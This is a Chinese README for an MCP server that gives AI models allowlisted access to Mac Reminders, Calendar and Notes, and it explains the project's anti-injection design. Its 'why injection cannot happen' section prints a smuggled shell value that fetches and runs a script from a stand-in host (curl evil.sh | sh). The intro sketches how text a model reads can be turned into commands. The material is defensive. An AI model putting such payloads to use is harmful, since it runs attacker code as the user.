mac-organiser-mcp

Mac Organiser MCP

按你的方式，为 AI 助手管理提醒事项、日历和备忘录。
只访问你选择的列表、日历和文件夹。不会有其他内容离开应用。

_{为什么  ·  工具  ·  隐私  ·  快速开始  ·  配置  ·  工作原理}

为什么

大多数 Apple MCP 服务会把模型发送的内容直接粘贴到 AppleScript 或 shell 命令中。这意味着模型读取的任何文本，例如网页、电子邮件，或其他人可以编辑的共享提醒事项列表，都可能变成以你的身份运行的命令。它们还往往会把所有内容都交给模型：每条提醒事项、每份备忘录、每个日历。

这个项目在这两方面都采取了相反的做法：

• 🔒 模型发送的任何内容都不会作为代码运行。 每个应用都有一段固定脚本，你的数据只会作为值传递给它。
• 🫥 你的助手只能看到你允许的内容。 允许列表以外的列表、日历和文件夹会直接在应用内部过滤，因此它们不会到达服务端，更不会到达模型。
• ✉️ 不会执行任何对外操作。 它不能邀请任何人、通知任何人，也不会从互联网加载任何内容。

重要

工具返回的任何内容都会作为对话的一部分发送给你的模型提供商。允许列表是你控制可能包含哪些内容的主要手段，因此请尽量严格设置。

每个应用默认关闭，启用后才会开启。可以按应用关闭写入操作，删除操作始终需要选择启用。

日期采用 ISO 8601 格式：2026-10-29、2026-10-29T14:00（你的本地时间）或 2026-10-29T14:00+11:00。

默认保护隐私

**无论如何设置，都不会返回：**事件参与者、提醒事项的创建和修改日期、最近删除笔记文件夹，以及锁定笔记的内容。

快速开始

要求

安装

无需安装：MCP 客户端会通过 npm 使用 npx -y mac-organiser-mcp 运行程序，如下方配置所示。

git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

这是一个标准的 Model Context Protocol 服务，通过 stdio 在本地运行，因此不绑定任何特定的助手。每个客户端都需要相同的三项内容：命令 npx、参数 -y mac-organiser-mcp，以及作为环境变量的设置。

警告

你可以将本地 MCP 服务置于公共 HTTPS 隧道后，让 ChatGPT 能够访问它，但**不要对这个服务这样做。**这会让你的 Reminders、Calendar 和 Notes 暴露在互联网端点上，与此设计的初衷背道而驰。

claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- npx -y mac-organiser-mcp

{
  "mcpServers": {
    "mac-organiser": {
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "mac-organiser-mcp"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}

[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

配置格式会随客户端版本变化；如果格式不匹配，请查阅相应客户端的 MCP 文档。

提示

专门设立一个 Notes 文件夹（比如 AI）很适合作为允许列表：助手可以在其中读写内容，而你的其他笔记仍不可访问。

权限

macOS 会在每个应用首次使用时询问一次。点击 允许。

说明

这些权限属于宿主应用（Terminal、Cursor、VS Code、Claude Desktop……），而不是此服务。在该应用中运行的任何其他内容也会获得相同的访问权限。首次调用 Calendar 时，会等待最多 40 秒，供你回应提示。

所有配置都通过环境变量设置。标志值可设为 1、true 或 yes。

如果启用了某个应用，但没有设置其必需的白名单，该应用将保持关闭状态，服务会在 stderr 中说明原因。

工作原理

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client

为什么无法发生注入

常见做法是根据模型的文本构建脚本，因此多余的 ' 或 " 会让数据变成代码：

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

这里的脚本文本始终不变。请求会作为独立参数传递，不经过 shell，并且始终只作为数据读取：

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);

// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

实时测试套件会发送这些载荷以及其他载荷，并检查它们是否以纯文本形式存储。

引擎

基本原则

每项更改都必须遵守以下原则。

1. 绝不根据输入构建代码。 脚本是固定文本；请求只以数据形式传递。
2. 在源头过滤。 白名单和字段限制在 Apple 应用内部执行，因此隐藏数据不会到达 Node、日志或模型。
3. 白名单以外的内容一律视为“未找到”。 读取和写入操作均如此，且不会暗示该内容存在。
4. 不执行任何对外操作。 不添加与会者、不发送邀请或更新邮件，也不进行网络调用。此处的与会者事件只能读取。
5. 绝不销毁无法恢复的内容。 删除操作必须主动启用。绝不覆盖或删除 Notes；修改重复事件时也始终一次只修改一个实例。
6. 文本始终是文本。 Notes 内容会进行 HTML 转义，因此模型无法添加链接、标记或跟踪图像。
7. 验证所有内容。 在运行任何操作之前检查 ID、日期、优先级和长度，作为第二道防线。
8. 依赖项固定。 使用锁文件锁定确切版本，只有两个运行时依赖项，不含安装脚本。

• **备忘录：**无法编辑或删除。只能通过替换备忘录的整个正文来脚本化处理，这可能会丢失附件、清单和表格。因此，append_to_note 会拒绝处理包含附件、列表、表格或图片的备忘录。
• **日历：**新建事件时无法设置重复规则，也无法在此处更改或删除包含参会者的事件。请使用 Calendar.app 处理这些事件。
• **提醒事项：**不支持子任务、标签、标记或位置；脚本接口未提供这些功能。
• **重名：**如果两个日历同名，请使用 list_calendars 返回的日历 ID。两个同名的备忘录文件夹需要重命名。
• 仅限 macOS，且 Mac 必须处于唤醒状态：所有操作都在本地运行。

开发

实时测试

npm run build && npm run test:live

测试套件会创建一个名为 MCP Test 的提醒事项列表、日历和备忘录文件夹，将所有允许列表锁定到这些项目，并通过真实的 MCP 客户端运行全部 16 个工具：共 43 项检查，包括注入载荷、允许列表绕过、重复事件实例和清除截止日期。测试完成后会删除这些测试数据；如果已有任何名为 MCP Test 的项目，则不会启动。不会读取你的其他数据。

目录结构

src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

许可证

MIT © 2026 Nick Sullivan